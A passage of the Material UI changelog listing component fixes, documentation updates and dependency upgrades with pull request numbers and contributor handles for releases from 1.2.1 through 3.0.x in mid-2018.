[Checkbox] Improve indeterminate status (#12671) @hareaca\n- [StepLabel] Fix custom icon spacing (#12694) @JiayuanDeng\n- [Chip] Add outlined variant (#12680) @orporan\n- [Stepper] Add a new test case (#12684) @Anugraha123\n- [core] Upgrade the dependencies (#12693) @oliviertassinari\n\n### `@material-ui/icons@v3.0.1`\n\n- [core] Fix for incorrect peer dependency version warning (#12677) @xaviergonz\n- [core] Upgrade the dependencies (#12693) @oliviertassinari\n\n### `@material-ui/lab@v3.0.0-alpha.13`\n\n- [core] Fix for incorrect peer dependency version warning (#12677) @xaviergonz\n- [core] Upgrade the dependencies (#12693) @oliviertassinari\n\n### Docs\n\n- [docs] Typo (#12675) @nazartokar\n- [docs] Update notification link for release 3.0.0 (#12681) @lumatijev\n- [docs] Warn about using withRoot HOC more than one time per page (#12692) @oorestisime\n\n### Core\n\n- [core] Fix for incorrect peer dependency version warning (#12677) @xaviergonz\n- [core] Upgrade the dependencies (#12693) @oliviertassinari\n\n## 3.0.0\n\n_Aug 27, 2018_\n\nA big thanks to the 27 contributors who made this release possible!\n\nWe are upgrading the major version of `@material-ui/core` to match the version of `@material-ui/icons`.\nThe next major release is planned for [Q1, 2019](https://github.com/mui/material-ui/milestone/25).\n\n### Breaking change\n\n- [icons] Save 22 Megabytes from the package (#12662)\n\nCut the package size by half.\nIt should make the npm installation twice as fast.\nIt's not OK to have some installation timeout.\nWe have removed the `/es` folder.\n\n```diff\n-import AccessAlarm from '@material-ui/icons/es/AccessAlarm';\n+import AccessAlarm from '@material-ui/icons/AccessAlarm';\n```\n\n- [core] Drop Firefox 45 support (#12669)\n\nFirefox 52 is the last version supported by Windows XP.\nThe market share of Firefox 45 is 0.03%.\nWe use the same strategy for Chrome.\n\n### Component Fixes / Enhancements\n\n- [Input] Improve type checking for inputProps (#12591) @eps1lon\n- [ClickAwayListener] Prevent rerendering (#12613) @shcherbyakdev\n- [Chip] Add missing ChipClassKey values (#12625) @IvanCoronado\n- [Dialog] Add 'lg' support to maxWidth (#12626) @TheMoonDawg\n- [TableSortLabel] Support custom icon component (#12630) @wolfejw86\n- [SvgIcon] Add Icon suffix to SVG icons (#12634) @yordis\n- [Collapse] Fix document for style wrapperInner (#12638) @peter50216\n- [Input] Extract helpers to their own module (#12657) @Pajn\n- [Chip] Add onKeyUp handler for correct behavior (#12660) @markselby9\n- [CardActionArea] Add CardActionArea component (#12624) @yuchi\n- [ListItem] Move the selected prop from MenuItem to ListItem (#12602) @the-question\n\n### Docs\n\n- [examples] Update ts example to be closer to the official docs (#12593) @eps1lon\n- [docs] Fix a display issue on IE11 (#12599) @oliviertassinari\n- [docs] Warn about checking for version mismatch (#12601) @hluedeke\n- [docs] Consistent content height in Albumn layout example (#12556) @mbrookes\n- [example] Support Gatsby v2 (#12331) @blukai\n- [docs] xlarge = extra-large (#12619) @FarzadSole\n- [docs] Add \"Insights\" by justaskusers.com to the list of showcases (#12620) @mattes3\n- [docs] Use public api of jss instead of private vars (#12629) @eps1lon\n- [docs] Improve Autocomplete filtering suggestions (#12641) @jorgegorka\n- [docs] Fix IE11 support (#12650) @oliviertassinari\n- [docs] Fix typos (#12652) @dandv\n- [docs] Use the event.target.checked API systematically (#12644) @chellem\n- [docs] Correct `by and enum` typo in api.md (#12663) @G-Rath\n- [docs] Autocomplete react-select dropdown overlay (#12664) @gerhat\n- [docs] Fix typo in usage.md (#12666) @DeveloperDavo\n\n### Core\n\n- [core] Better Windows support for the API generation (#12584) @adeelibr\n- [TypeScript] Update SnackbarContent type def to accept action prop as array (#12595) @cngraf\n- [test] Fix the missing libxcursor1 binary (#12611) @oliviertassinari\n- [core] Fix recompose version (#12605) @yamachu\n- [typescript] Fix AnyComponent for functional components (#12589) @vierbergenlars\n- [core] Let's see if the CI catch the issue (#12615) @oliviertassinari\n- [typescript] Use interfaces for typography types (#12616) @pelotom\n- [ci] Consider only files changed on the built branch (#12627) @eps1lon\n- [test] Lint TypeScript definitions (#12637) @eps1lon\n- [core] Upgrade dev dependencies (#12658) @oliviertassinari\n\n#### Lab\n\n- [Slider] Fix memory leaks (#12537) @eps1lon\n- [Slider] Fix transitions (#12531) @eps1lon\n\n## 1.5.1\n\n_Aug 19, 2018_\n\nA big thanks to the 22 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- Upgrade Babel to `v7.0.0-rc.1` (#12581).\n- Document the meta viewport (#12541).\n- And many more bug fixes 🐛 and documentation improvements 📝.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [Tab] Fix fullWidth CSS (#12495) @jankjr\n- [TextField] Fix disabled prop only affecting the Input component (#12489) @WreckedArrow\n- [Table] Sync typings (#12503) @franklixuefei\n- [Table] Remove padding from getting spread to native element (#12505) @JoshuaLicense\n- [Select] Accept boolean (#12522) @oliviertassinari\n- [Avatar] Prepare Preact support (#12519) @jorgegorka\n- [Drawer] Change height from 100vh to 100% (#12528) @joemaffei\n- [TextField] Accept boolean (#12538) @palaniichukdmytro\n- [withWidth] Remove broken innerRef (#12542) @oliviertassinari\n- [CardMedia] Add an example with the component property (#12481) @adeelibr\n- [ListSubheader] Add a disableGutters property (#12570) @johannwagner\n- [Dialog] Simplify the DialogContentText implementation (#12577) @oliviertassinari\n- [Popover] Fix wrong getContentAnchorEl definition (#12562) @duvet86\n\n### Docs\n\n- [docs] Tweak dashboard example nav list heading (#12501) @JoshuaLicense\n- [docs] Fix a typo in the Modal page (#12502) @melaniebcohen\n- [docs] Don't load the ad on mobile (#12509) @oliviertassinari\n- [docs] Fix typo (suot to suit) (#12513) @ratanachai\n- [docs] Fix typo in the icons section (#12514) @PolGuixe\n- [docs] Document breakpoint argument for withMobileDialog (#12521) @nxtman123\n- [docs] Increase SEO potential (#12525) @oliviertassinari\n- [docs] \"codestyle\" comment typo fix (#12511) @nasiscoe\n- [docs] Document the meta viewport (#12541) @oliviertassinari\n- [docs] Throttle the active toc instead of debouncing (#12543) @oliviertassinari\n- [docs] Add material-ui-next-pickers (#12547) @chingyawhao\n- [docs] Fix the broken Table sorting logic (#12569) @oliviertassinari\n- [docs] Link a new Menu demo (#12574) @pierrelstan\n- [docs] Improve TypeScript issue assistance (#12560) @eps1lon\n- [docs] Add notistack in the related projects (#12578) @oliviertassinari\n\n### Core\n\n- [typescript] Style typing improvements (#12492) @pelotom\n- [core] Should run the tests when needed (#12510) @oliviertassinari\n- [core] Add MuiTableBody to theme overrides (#12550) @pvdstel\n- [test] Disable CircleCI cache (#12573) @oliviertassinari\n- [test] Introduce prettier into CI pipeline (#12564) @eps1lon\n- [test] Fix prettier ci task with multiple changed files (#12579) @eps1lon\n- [core] Upgrade to babel@rc.1 (#12581) @oliviertassinari\n\n#### Lab\n\n- [SpeedDial] Fix invalid prop direction supplied (#12533) @eps1lon\n- [SpeedDial] Remove dead code from test (#12545) @mbrookes\n- [Slider] Fix failing handler test (#12535) @eps1lon\n\n## 1.5.0\n\n_Aug 12, 2018_\n\nA big thanks to the 23 contributors who made this release possible!\nThis is a dense release!\n\nHere are some highlights ✨:\n\n- Introduce a \"page layout examples\" section in the documentation. Don't miss it! (#12410) @mbrookes.\n- Add a Table Of Contents for each page of the documentation (#12368).\n- Improve the TypeScript autocomplete for CSS properties (#12456) @eps1lon.\n- And many more bug fixes 🐛 and documentation improvements 📝.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [Select] Accept boolean (#12429) @oliviertassinari\n- [icons] Resize svg icons (#12356) @the-question\n- [Collapse] Add all class keys to the types (#12436) @stuharvey\n- [Table] Padding feature (#12415) @aseem191\n- [icons] Remove clip-path from all icons (#12452) @kevinnorris\n- [Input] Use the color from the theme (#12458) @adeelibr\n- [NoSrr] Add a defer property (#12462) @oliviertassinari\n- [icons] Remove unused clipPath definitions from icons (#12465) @kevinnorris\n- [Popover] Allow to pass repeated props to modal (#12459) @davibq\n- [SelectInput] Add \"name\" to event.target for onBlur callback (#12467) @hassan-zaheer\n- [Button] Make the outlined variant better leverage the color (#12473) @essuraj\n- [Tooltip] Hide the tooltip as soon as an exit event triggers (#12488) @oliviertassinari\n\n### Docs\n\n- [docs] Fix react-select multiselection wrapping (#12412) @henkvhest\n- [docs] Add some Render Props demos (#12366) @jedwards1211\n- [docs] Add example layouts (#12410) @mbrookes\n- [core] Fix some errors when porting demos to TypeScript (#12417) @PavelPZ\n- [docs] Standardize the wording between icon docs and readme (#12425) @mbrookes\n- [docs] Improve the withTheme example (#12428) @oliviertassinari\n- [docs] Rename layouts to page-layout-examples + minor fixes (#12430) @mbrookes\n- [docs] Ensure `inputRef` is wired up to react-number-format's input (#12444) @NMinhNguyen\n- [docs] Expand on the JSS and class name generator docs (#12447) @atrauzzi\n- [docs] Better autocomplete docs (#12451) @oliviertassinari\n- [docs] Fix typo (#12454) @metropt\n- [docs] Better descriptive Table demos (#12464) @bala121286\n- [README] New iteration on the backers (#12475) @oliviertassinari\n- [docs] Font vs SVG. Which approach to use? (#12466) @PolGuixe\n- [docs] Add a Table Of Contents (#12368) @oliviertassinari\n- [docs] Fix link to Twitter account (#12482) @patcito\n- [docs] Try CodeFund over Carbon (#12484) @oliviertassinari\n\n### Core\n\n- [typescript] Synced with PR #12373 (#12439) @franklixuefei\n- [core] Add hoverOpacity to TypeAction interface (#12455) @hassan-zaheer\n- [core] Save some bytes in the super() logic (#12476) @oliviertassinari\n- [core] Upgrade the dependencies (#12477) @oliviertassinari\n- [typescript] improve autocomplete for CSS properties in createStyles (#12456) @eps1lon\n\n#### Lab\n\n- [SpeedDialAction] Allow a tooltip placement prop (#12244) @seanchambo\n- [lab] Depend on @babel/runtime (#12470) @goto-bus-stop\n\n## 1.4.3\n\n_Aug 4, 2018_\n\nA big thanks to the 15 contributors who made this release possible!\nThis release focuses on bug fixes 🐛.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [Tooltip] Add default css max-width and customization demo (#12338) @simoami\n- [Step] Add completed class to the root (#12339) @kylezinter\n- [Drawer] Add touchAction: 'none' on the Overlay to disable scrolling (#12350) @jlascoleassi\n- [Chip] Remove reference to checked prop in the docs (#12375) @DavidThorpe71\n- [styles] Improve the dangerouslyUseGlobalCSS story (#12389) @oliviertassinari\n- [Tooltip] Fix autoFocus issue (#12372) @Mangatt\n- [FormLabel][formhelpertext] classes keys (#12373) @Mangatt\n- [Chip] Add color prop to chip component (#12378) @itelo\n- [Tooltip] Fix hover issues (#12394) @aseem191\n- [palette] Better defensive logic (#12402) @oliviertassinari\n- [MobileStepper] Add a LinearProgressProps property (#12404) @oliviertassinari\n- [Textarea] Add back defensive branch logic (#12406) @kanzelm3\n\n### Docs\n\n- [docs] Add markdown code to Interactive Grid (#12333) @itelo\n- [docs] Document how to use the Select with a label and a placeholder (#12342) @oliviertassinari\n- [docs] Improve the Table sorting logic (#12348) @xkenmon\n- [docs] Fix contast => contrast typo (#12395) @chayeoi\n- [docs] Fix two typos in Lists.md (#12397) @adl\n- [docs] Fix ChipPlayground generated code (#12401) @mbrookes\n- [docs] Add Tomahawk boilerplate to the related projects (#12393) @goemen\n\n### Core\n\n- [core] Upgrade the dependencies (#12409) @oliviertassinari\n\n#### Lab\n\n- [ToggleButton] Fix TypeScript definition (#12360) @itskibo\n\n## 1.4.2\n\n_Jul 29, 2018_\n\nA big thanks to the 22 contributors who made this release possible!\nI hope we will soon beat our previous record: 30 contributors in a single week.\n\nHere are some highlights ✨:\n\n- Upgrade the react-select demo to v2 (#12307) @oliviertassinari.\n- Document a new \"No SSR\" component (#12317) @oliviertassinari.\n- Add a label placement property for FormControlLabel (#12303) @mbrookes.\n- And many more bug fixes 🐛 and documentation improvements 📝.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [Tabs] Reduce the bundle size (#12256) @oliviertassinari\n- [Menu] Add null as acceptable value of anchorEl (#12249) @LAITONEN\n- [Popper] Increase the minimal required version of popper.js (#12258) @Tuaniwan\n- [TablePagination] Add missing selectIcon ClassKey definition (#12267) @spallister\n- [Tooltip] Add some docs for disabled elements (#12265) @kamranayub\n- [Tabs] Prevent unwanted auto-move in scrolling tabs (#12276) @novascreen\n- [Button] Fix icon positioning on Safari iOS (#12278) @KevinAsher\n- [Modal] Add onRendered to ModalProps (#12284) @rynobax\n- [Card] Align icons with ListItem (#12292) @mbrookes\n- [TextField] Improve onChange type definition (#12294) @t49tran\n- [DialogContentText] Inherit TypographyProps in type definition (#12301) @charlieduong94\n- [FormControlLabel] Add labelPlacement prop (#12303) @mbrookes\n- [FormControlLabel] Correct the style description (#12304) @mbrookes\n- [Typography] Add color=textPrimary option (#12310) @oliviertassinari\n- [Tooltip] Remove an undocumented API (#12312) @oliviertassinari\n- [RootRef] Apply the same logic as React Ref (#12311) @oliviertassinari\n- [Grid] Document the nested capability (#12313) @oliviertassinari\n- [SwipeableDrawer] Fix SSR issue on iOS (#12314) @oliviertassinari\n- [Snackbar] Fix anchorOrigin types (#12316) @nmchaves\n- [LinearProgress] Fix wrong style rule usage (#12319) @agentmilindu\n- [Popper] Fix modifiers appearing as attribute of div (#12329) @skeithtan\n\n### Docs\n\n- [docs] Fix typo (#12248) @johnjacobkenny\n- [docs] Add typekev.com to showcase page (#12243) @typekev\n- [docs] Fix escape \"|\" char (#12254) @TheRusskiy\n- [docs] Fix logo in the README (#12273) @antoinerousseau\n- [docs] Add an example with Popper and react-autosuggest (#12280) @oliviertassinari\n- [docs] Add Complementary Project - create-mui-theme (#12269) @UsulPro\n- [docs] Add a note on the name option and dangerouslyUseGlobalCSS (#12281) @oliviertassinari\n- [docs] Improve ListItem and BottomNavigationAction docs (#12295) @vkentta\n- [docs] Add placeholder for search bar (#12296) @DheenodaraRao\n- [docs] Upgrade react-select (#12307) @oliviertassinari\n- [docs] Use data to improve the ranking (#12315) @oliviertassinari\n- [docs] Document NoSsr (#12317) @oliviertassinari\n- [docs] Improve the docs to have matches (#12322) @oliviertassinari\n\n### Core\n\n- [core] Upgrade dev dependencies (#12323) @oliviertassinari\n\n#### Lab\n\n- [Slider] Increase color specification conformance (#12245) @eps1lon\n- [SpeedDial] Prevent opening when hovering closed actions (#12241) @mbrookes\n- [Slider] Remove visual zero state from thumb (#12242) @eps1lon\n\n## 1.4.1\n\n_Jul 22, 2018_\n\nA big thanks to the 15 contributors who made this release possible!\n\nHere are some highlights ✨:\n\n- The CSS API is now fully documented (#12174) @mbrookes.\n\n| Name                                 | Description                                                 |\n| :----------------------------------- | :---------------------------------------------------------- |\n| <span class=\"prop-name\">root</span>  | Styles applied to the root element.                         |\n| <span class=\"prop-name\">label</span> | Styles applied to the span element that wraps the children. |\n| …                                    | …                                                           |\n\n- After many iterations, we are happy to announce `@material-ui/icons` v2.0.0 💃.\n  With this version, you can take advantage of all the icons recently released by Google:\n  https://m2.material.io/tools/icons/. There are more than 5,000 icons.\n  (#12016, #12036, #12170, #12111, #12225)\n\n- The 1.4.0 release of Material UI has introduced a new implementation of the Tooltip and Popper component.\n  This release fixes a lot of issues following the rewrite (#12168, #12161, #12194, #12223, #12218).\n  Thank you for reporting all these problems 🐛. Hopefully, it's very stable now.\n\n- Creative Tim has just completed [their second Material UI theme](https://www.creative-tim.com/product/material-kit-pro-react?partner=104080) 💅.\n  It's an important milestone for the themability of Material UI.\n  We are going to keep working on adding more themes to the list.\n\n### Breaking change\n\n@material-ui/icons@2.0.0 allows React users to take advantage of the icons revamp the Material Design Team has been recently released. Some icons have been removed, ~150 new icons have been added, and some icons have been renamed. There are also currently some issues with the size of certain icons. Please refer to #12016 for further details.\n\n### Component Fixes / Enhancements\n\n- [Tab] Fix maxWidth issue with fullWidth mode (#12158) @chenop\n- [Popper] Update TypeScript definitions (#12161) @Slessi\n- [CardHeader] Add typography/props controls like in ListItemText (#12166) @chenop\n- [Tooltip] Fix some new issues (#12168) @oliviertassinari\n- [icons] New iteration (#12170) @oliviertassinari\n- [icons] Remove fill attribute from some icons (#12111) @ChristiaanScheermeijer\n- [Popper] Fix the transition in the demos (#12194) @oliviertassinari\n- [Modal] Ignore if the event prevent default is called (#12202) @oliviertassinari\n- [Grid] Add \"space-evenly\" value for justify prop (#12213) @iain-b\n- [Grow] Fix scroll on entered (#12199) @stephenway\n- [Popper] Fix update logic (#12218) @oliviertassinari\n- [Badge] Increase readability (#12221) @oliviertassinari\n- [styles] Increase the class name length limit before raising (#12222) @oliviertassinari\n- [icons] Fix SVG path precision issue (#12225) @ChristiaanScheermeijer\n- [Popper] Typing and documentation (#12223) @dispix\n- [Select] Simpler onChange event.target logic (#12231) @oliviertassinari\n- [input] Forward required, readOnly and autoFocus (#12234) @sakulstra\n- [HOC] Add `innerRef` to withWidth and withTheme (#12236) @itelo\n- [Textarea] Simplification of the code (#12238) @oliviertassinari\n- [Tabs] Small changes investigating #11624 (#12239) @oliviertassinari\n\n### Docs\n\n- [docs] Add Toggle Selection Control to 'Migration From v0.x' Document (#12149) @shabareesh\n- [docs] Add Menu Item to 'Migration From v0.x' Document (#12150) @shabareesh\n- [docs] New ISSUE_TEMPLATE (#12148) @oliviertassinari\n- [docs] Add Font Icon to 'Migration From v0.x' Document (#12151) @shabareesh\n- [docs] copyedit: typo in testing.md (#12155) @cldellow\n- [docs] Document the CSS API (#12174) @mbrookes\n- [docs] An iteration on the SSR Troubleshooting section (#12229) @oliviertassinari\n\n### Core\n\n- [core] Upgrade dev dependencies (#12156) @oliviertassinari\n- [core] Add missing unwrap export to test-utils type definition (#12184) @kallebornemark\n- [test] Conditional tests (#12191) @oliviertassinari\n- [core] Fix babel plugin name (#12209) @oliviertassinari\n- [core] Upgrade the dev dependencies (#12220) @oliviertassinari\n- [core] Rename node to ref (#12235) @oliviertassinari\n\n#### Lab\n\n- [Slider] Fix TypeScript typings (#12173) @eps1lon\n- [SpeedDial] Fix SpeedDialAction dark theme (#12230) @mbrookes\n- [lab] Build and export fixes (#12233) @goto-bus-stop\n\n## 1.4.0\n\n_Jul 14, 2018_\n\nA big thanks to the 21 contributors who made this release possible.\nHere are some highlights ✨:\n\n- Rework the Tooltip implementation (#12085)\n\nThe component is -1kB gzipped smaller and much faster.\nYou can render 100 of them on a page with no issue.\nIt's also introducing a new component: Popper, an abstraction on top of [Popper.js](https://github.com/FezVrasta/popper.js).\n\n- Add color selector (#12053) @mbrookes\n\nYou can now dynamically change the theme of the whole documentation site.\n\n- Add a new toggle buttons component (#10144) @phallguy\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [Icons] Misc fixes and optimizations (#12036) @mbrookes\n- [Tooltip] Rework the implementation (#12085) @oliviertassinari\n- [Snackbar] Fix SnackbarOrigin TypeScript definition (#12083) @tzfrs\n- [Dialog] Fix action width issue (#12081) @mim-Armand\n- [theme] Use `isPlainObject` to avoid dropping prototypes (#12100) @kivlor\n- [Popper] Add a modifiers property (#12108) @oliviertassinari\n- [Button] Fix IE11 support of CSS 'width:initial' (#12119) @koshea\n- [FormControlLabel] Add a failing test case and fix it (#12141) @oliviertassinari\n- [Toolbar] Add dense variant (#12075) @srilman\n- [Typography] Fix display2 cuts off the bottom of a 'g' (#12146) @Skaronator\n\n### Docs\n\n- [docs] Fix typo (#12046) @AlexanderLukin\n- [docs] Fix wrong icon names (#12042) @AlexanderLukin\n- [docs] Fix typo (#12050) @AlexanderLukin\n- [docs] Fix Typo (#12064) @johnjacobkenny\n- [docs] Add known issues/limitations for progress animations (#12062) @HRK44\n- [docs] Correct the normalize-function (#12066) @fauskanger\n- [docs] Add react-media-material-ui in the related projects (#12068) @jedwards1211\n- [docs] Fix SSR example to support production mode (#12080)\n- [docs] Fix Theme nesting demo in codesandbox (#12097) @oliviertassinari\n- [docs] Use the de-structured \"children\" variable (#12104) @jzhang729\n- [docs] Add Tidelift banner (#12099) @oliviertassinari\n- [docs] Fix some broken links (#12107) @oliviertassinari\n- [docs] Preconnect to load the fonts (#12113) @oliviertassinari\n- [docs] Improve grid demo descriptions (#12112) @mbrookes\n- [docs] Add color selector (#12053) @mbrookes\n- [docs] Add Tentu in the showcase (#12122) @urkopineda\n- [docs] Add Subheader to v0.x migration guide (#12144) @shabareesh\n- [docs] Add a comment that React 16.3.0 is a peer dependency (#12145) @chenop\n- [Table] Document the CSS API (#12147) @chenop\n\n### Core\n\n- [core] Upgrade the dev dependencies (#12049) @oliviertassinari\n- [core] Improve the prop-types of shape (#12098) @oliviertassinari\n- [core] Upgrade dev dependencies (#12117) @oliviertassinari\n- [core] Error typo fix (#12118) @TheRusskiy\n- [test] Fix Argos-CI flakiness (#12142) @oliviertassinari\n\n#### Lab\n\n- [ToggleButtons] Add toggle buttons (#10144) @phallguy\n- [Slider] Make interaction easier, fix thumb overflow (#11889) @ValentinH\n- [SpeedDial] Inline the Add icon (#12128) @mbrookes\n\n## 1.3.1\n\n_Jul 2, 2018_\n\nA big thanks to the 13 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- Document the scroll property of the Dialog (#12025).\n- Add a demo with Font Awesome (#12027).\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [Select] Fix some W3C issues (#11983) @oliviertassinari\n- [Icon] Add a fontSize prop which accepts default and inherit (#11986) @sakulstra\n- [Menu] Add prop to disable auto focus (#11984) @th317erd\n- [SvgIcon] Add component property (#11987) @stephenway\n- [GridList] Clean the rendering logic (#11998) @oliviertassinari\n- [Snackbar] Add check for autoHideDuration if equals 0 (#12002) @C-Rodg\n- [Menu] Fix scrolling issue (#12003) @stephenway\n- [Stepper] Merge StepPositionIcon in StepIcon (#12026) @bousejin\n- [Input] Add read only demo (#12024) @oliviertassinari\n- [ExpansionPanelSummary] Add IconButtonProps property (#12035) @dakotamurphyucf\n- [Dialog] Document the scroll property (#12025) @oliviertassinari\n\n### Docs\n\n- [docs] Use \\_app.js instead of wrapping every page by withRoot() (#11989) @NikitaVlaznev\n- [docs] Link RootRef in the FAQ (#12005) @scottastrophic\n- [docs] Add Core UI (#12015) @oliviertassinari\n- [docs] Switch autosuggest highlighting (#12019) @TheRusskiy\n- [docs] Small spelling fix (#12028) @danh293\n- [docs] Add a demo with Font Awesome (#12027) @oliviertassinari\n\n### Core\n\n- [typescript][createmuitheme] Fix typings & deepmerge shape (#11993) @franklixuefei\n- [core] Warn about Children.map & Fragment (#12021) @oliviertassinari\n- [core] Remove usage of theme.spacing.unit (#12022) @oliviertassinari\n\n#### Lab\n\nN/A\n\n## 1.3.0\n\n_Jun 26, 2018_\n\nA big thanks to the 10 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 🔥 Add extended Floating Action Button variant (#11941) @mbrookes.\n- 🔥 Add scroll body handling for the dialog (#11974).\n- 📝 Work on SEO for the components (#11963).\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [FormControl] Correct minor typo in text (#11931) @FluentSynergyDW\n- [Grid] Add `auto` to TypeScript definitions (#11933) @woobianca\n- [styles] Safer prefix logic (#11943) @oliviertassinari\n- [Button] Add extended FAB variant (#11941) @mbrookes\n- [styles] Warn when the first argument is wrong (#11953) @oliviertassinari\n- [ClickAwayListener] Handle null child (#11955) @oliviertassinari\n- [theme] Add border-radius to the theme (#11847) @itelo\n- [Dialog] Add a scroll property (#11974) @oliviertassinari\n\n### Docs\n\n- [Showcase] Add posters galore (react-admin) (#11939) @fzaninotto\n- [docs] Update ts example (#11949) @kevinhughes27\n- [docs] Add Outline docs (#11960) @tomasdev\n- [docs] Do SEO for the components (#11963) @oliviertassinari\n- [docs] Better API wording (#11973) @oliviertassinari\n- [docs] In TypeScript doc, add missing `createStyles` to import (#11975) @Sylphony\n\n### Core\n\n- [typescript] Fix Typings for disableTouchRipple and allVariants (#11944) @franklixuefei\n- [core] Upgrade the dev dependencies (#11954) @oliviertassinari\n- [core] Upgrade ESLint (#11957) @oliviertassinari\n- [core] Upgrade preval (#11958) @oliviertassinari\n- [core] Use Chrome Headless for the tests over PhantomJS (#11961) @oliviertassinari\n\n#### Lab\n\nN/A\n\n## 1.2.3\n\n_Jun 20, 2018_\n\nA big thanks to the 6 contributors who made this release possible.\n\nThis release fixes some important regressions.\nWe are making it outside of the normal schedule.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [ButtonBase] Fix exception (#11905) @oliviertassinari\n- [NoSSR] Add a fallback property (#11907) @oliviertassinari\n- [Dialog] Add max-height back (#11914) @oliviertassinari\n- [Tooltip] Revert update react-popper (#11920) @oliviertassinari\n- [Select] Fix classes merge issue (#11904) @C-Rodg\n\n### Docs\n\n- [docs] Document jss-nested rule reference feature (#11901) @i8ramin\n- [docs] Correct markdown example from svg icon (#11922) @GabrielDuarteM\n- [docs] TypeScript decorating reword (#11923) @swpease\n\n### Core\n\nN/A\n\n#### Lab\n\n- [Slider] Add TypeScript definitions (#11747) @epodivilov\n\n## 1.2.2\n\n_Jun 18, 2018_\n\nA big thanks to the 16 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- 📝 Document the dynamic override alternatives (#11782) @adeelibr\n- 📝 Document the ClickAwayListener component (#11801).\n- And many more bug fixes 🐛 and documentation improvements 📝.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [ClickAwayListener] Add a demo (#11801) @oliviertassinari\n- [Grid] Add support a auto value (#11804) @oliviertassinari\n- [StepButton] Fix IE11 flexbox (#11814) @paulnta\n- [styles] Re-add default parameter of string for WithStyles (#11808) @pelotom\n- [SwipeableDrawer] Allow custom style (#11805) @Johann-S\n- [ButtonBase] Corrected the type definitions for the TouchRipple classes (#11818) @C-Rodg\n- [RootRef] Updated main index.js to include RootRef export (#11817) @C-Rodg\n- [typography] Add a `allVariants` key in the theme (#11802) @oliviertassinari\n- [ButtonBase] Add a disableTouchRipple property (#11820) @oliviertassinari\n- [Tabs] Fix calculating tab indicator position (#11825) @ljani\n- [Tabs] Fix IE11 support (#11832) @oliviertassinari\n- [withWidth] Reading initialWidth from the theme (#11831) @kleyson\n- [Tabs] Add support for a `component` property (#11844) @C-Rodg\n- [ListItemText] Detect and avoid re-wrapping Typography (#11849) @jedwards1211\n- [ListItemText] Add primaryTypographyProps and secondaryTypographyProps (#11858) @jedwards1211\n- [Tooltip] Update react-popper (#11862) @oliviertassinari\n- [TableCell] Fix property name (#11870) @marutanm\n- [Modal] Fix removeEventListener (#11875) @DominikSerafin\n- [CircularProgress] Fix wobble (#11886) @oliviertassinari\n- [CircularProgress] End of line shape: use butt (#11888) @Modestas\n- [Select] Fix reflow in render (#11891) @oliviertassinari\n\n### Docs\n\n- [docs] Add structured data (#11798) @oliviertassinari\n- [docs] Add a link to a CSS-in-JS egghead.io course (98168a2c749d8da2376d6a997145e3622df71bff) @kof\n- [Table] Derive sorted rows from state at render time in demo (#11828) @charlax\n- [docs] Document the dynamic override alternatives (#11782) @adeelibr\n- [docs] Add a Select required example (#11838) @oliviertassinari\n- [docs] Better class names conflict FAQ (#11846) @oliviertassinari\n- [docs] Add a link toward dx-react-chart-material-ui (#11859) @Krijovnick\n- [docs] Fix the Gatsby example (d7fe8c79dc097105fd1c6035b76a4d30666e9080) @oliviertassinari\n- [docs] Update npm downloads badge to point to @material-ui/core (#11590) @davidcalhoun\n- [examples] Add Server Rendering implementation (#11880) @oliviertassinari\n- [docs] Update react-swipeable-views to fix a warning (#11890) @oliviertassinari\n\n### Core\n\n- [core] Misc (#11797) @oliviertassinari\n- [core] Better `component` prop types (#11863) @jedwards1211\n- [core] Remove some unneeded code (#11873) @oliviertassinari\n- [core] Fix the UMD release (#11878) @oliviertassinari\n- [core] Document the non supported children properties (#11879) @oliviertassinari\n\n#### Labs\n\nN/A\n\n## 1.2.1\n\n_Jun 10, 2018_\n\nA big thanks to the 15 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- A lot of bug fixes 🐛!\n- Add full `React.createRef` support ⚛️ (#11757) @t49tran.\n- Document the `withWidth()` helper\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [Select] Add a placeholder demo (#11706) @oliviertassinari\n- [RootRef] Update RootRef.d.ts (#11708) @franklixuefei\n- [ButtonBase] Document the `type` property (#11728) @C-Rodg\n- [Popover] Fix default value (#11729) @oliviertassinari\n- [withWidth] Second iteration on the component (#11730) @oliviertassinari\n- [transition] Fix IE11 issue in dev mode (#11743) @adeelibr\n- [Tabs] Better flex layout (#11748) @adeelibr\n- [core] Add React.createRef support (#11757) @t49tran\n- [Grid] Improve the dev warnings (#11765) @oliviertassinari\n- [CircularProgress] Fix centering (#11781) @adeelibr\n- [TextField] Bind the focus/blur explicitly (#11789) @oliviertassinari\n- [RadioGroup] Fix onChange chaining (#11793) @oliviertassinari\n\n### Docs\n\n- [docs] Property !== attribute (#11694) @adeelibr\n- [docs] Add Trafikito.com to showcase (#11716) @liesislukas\n- [docs] Update meetingku image (#11724) @liganok\n- [docs] Improve docs:dev init by ~2 s and HMR by ~200 ms (#11752) @tal952\n- [docs] Change app bar to button on the getting started (#11756) @Simperfit\n- [docs] Add React Most Wanted to related projects (#11753) @TarikHuber\n- [docs] Error in example in Migration From v0.x Guide (#11771) @AkselsLedins\n- [docs] Simple Grammar Fix (#11785) @jeff-kilbride\n- [docs] Fix typo (#11787) @BenDiuguid\n- [docs] Better troubleshooting action for the hydration mismatch (#11792) @oliviertassinari\n\n### Core\n\n- [core] Remove parser specification to fix JSON issue (#11763) @ryanpcmcquen\n- [core] Throw if react >= 16.3.0 requirement isn't matched (#11779) @oliviertassinari\n- [core] Better warnings for class names duplicates (#11788) @oliviertassinari\n- [core] Remove dead code (#11791) @oliviertassinari\n\n#### Labs\n\n- [Slider] Fix for IE11 (#11727) @epodivilov\n- 